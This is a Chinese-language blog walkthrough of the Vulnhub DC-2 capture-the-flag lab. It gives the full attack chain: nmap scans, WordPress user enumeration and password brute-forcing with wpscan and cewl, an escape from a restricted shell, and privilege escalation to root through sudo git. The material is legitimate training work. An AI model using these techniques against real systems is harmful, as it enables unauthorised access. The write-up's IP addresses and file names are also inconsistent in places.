• Vulnhub DC2


    Vulnhub DC2

    前言:拖了很久才写完的,从上班拖到上班,其实早就可以写完了的,但是又想着去做别的事情一拖再拖,终于在这个周末决定把这个小尾巴解决,好去完成别的事情。

    网络环境

    Kali: 192.168.150.187

    DC1: 192.168.150.209

    二者均使用NAT模式连接;

    主机发现

    nmap扫描C段:

    nmap 192.168.150.1/24

    在这里插入图片描述

    进一步扫描版本:

    nmap -sV 192.168.150.219

    在这里插入图片描述

    再扫描端口:

    nmap -T4 -A 192.168.150.219 -p 1-65535 -oN nmap132.AE

    在这里插入图片描述

    确认靶机IP地址为 192.169.150.219,并且开放了80和7744(ssh)端口。

    flag1

    访问靶机的80端口:

    在这里插入图片描述

    Kali识别不到dc-2的ip地址,修改host文件,添加dc-2:

    vi /etc/hosts

    在这里插入图片描述

    重新访问靶机的80端口,发现这是一个WordPress搭建的站点,并且还有一个flag

    在这里插入图片描述

    得到flag1:

    在这里插入图片描述

    flag2

    根据flag1提示需要登录才可以获取flag2,但是没有找到网站的登录点,使用dirb扫描网站目录:

    dirb http://dc-2/

    在这里插入图片描述

    发现网站的登录入口:

    在这里插入图片描述

    使用wpscan(专用于扫描WordPress站点漏洞的工具)扫描该站点漏洞:

    wpscan --url http://dc-2/ -e u

    可以发现网站的三个用户: admin 、jerry、tom

    在这里插入图片描述

    将三个用户写入 dc-2users.dic:

    vim dc-2users.dic

    admin

    jerry

    tom

    再使用cewl生成dc-2的密码字典dc-2.dic:

    cewl dc-2 -w dc-2.dic

    cat dc-2.dic

    在这里插入图片描述

    再使用wpscan爆破用户和口令:

    wpscan --url dc-2 -U dc-2users.list -P dc-2.dic

    #获取用户jerry和tom的口令:
    jerry / adipiscing

    tom / parturient

    在这里插入图片描述

    使用jerry用户登录后台得到flag2:

    在这里插入图片描述

    flag3

    flag2中提示如果无法利用WordPress的漏洞,还有别的方法可以用。

    在之前试过用msf,但是没啥用(可能是用的方法不对)。根据收集到的信息来看,提示的应该是7744端口的ssh了,用之前爆破得到的jerry和tom测试连接,只有账号tom连接成功:

    在这里插入图片描述

    ls查看当前目录的文件,刚好有flag3,但是不能用cat命令,测试使用vi命令查看flag:

    ls

    cat flag3.txt

    vi flag3.txt

    在这里插入图片描述

    在这里插入图片描述

    flag4

    flag4提示用su命令切换到jerry用户,但是su命令和之前的su命令一样用不了,查看tom用户可以使用的命令:

    su jerry

    echo $PATH

    ls /home/tom/usr/bin

    在这里插入图片描述

    发现tom只能使用 less、ls、scp、vi命令,考虑使用echo命令绕过rbash(受限制的bash):

    BASH_CMDS[a]=/bin/sh;a

    $ export PATH=$PATH:/bin/

    $ export PATH=$PATH:/usr/bin

    在这里插入图片描述

    此时常见命令基本都可以使用了,翻一下别的目录:

    cd …

    ls

    cd jerry

    ls

    cat flag4.txt

    在这里插入图片描述

    flag5

    根据flag4的提示,该还需要提权,而且大概还是是用git命令提权,拿到root权限才可以得到flag5。

    查看当前用户具有root权限的命令:

    find / -perm -4000 2>/dev/null

    在这里插入图片描述

    没有找到git命令,切换到jerry用户测试:

    sudo -l

    在这里插入图片描述

    发现jerry用户可以使用git命令,尝试提权(到这已经不会了,看了大佬的wp):

    sudo git help status

    #直接输入 !/bin/bash

    su root

    提权成功,切换到root用户,查看最后一个flag:

    cd /root

    ls

    cat final-flag.txt

    在这里插入图片描述

    到这里5个flag都找完就结束啦。

    小结

    本次过程可能写的有点乱,时间跨度有点大,脑子也不是很清醒,不过大致的思路和操作都了解了,可能写的不是那么好,不过可以从中学到一些新知识也不错啦,再接再厉~

  • 相关阅读:
    JVM篇---第七篇
    计算机毕业论文选题推荐|软件工程|系列八
    nn.functional.normalize
    springboot基于BS结构的企业人事管理系统的设计与实现毕业设计源码121727
    layui 表格(table)合计 取整数
    JDBC详解
    Mobile App自动化测试技术及实现
    C++ Qt 学习(文章链接汇总)
    上帝视角看Vue源码整体架构+相关源码问答
    谈谈创业
  • 原文地址:https://blog.csdn.net/qq_45746876/article/details/126316711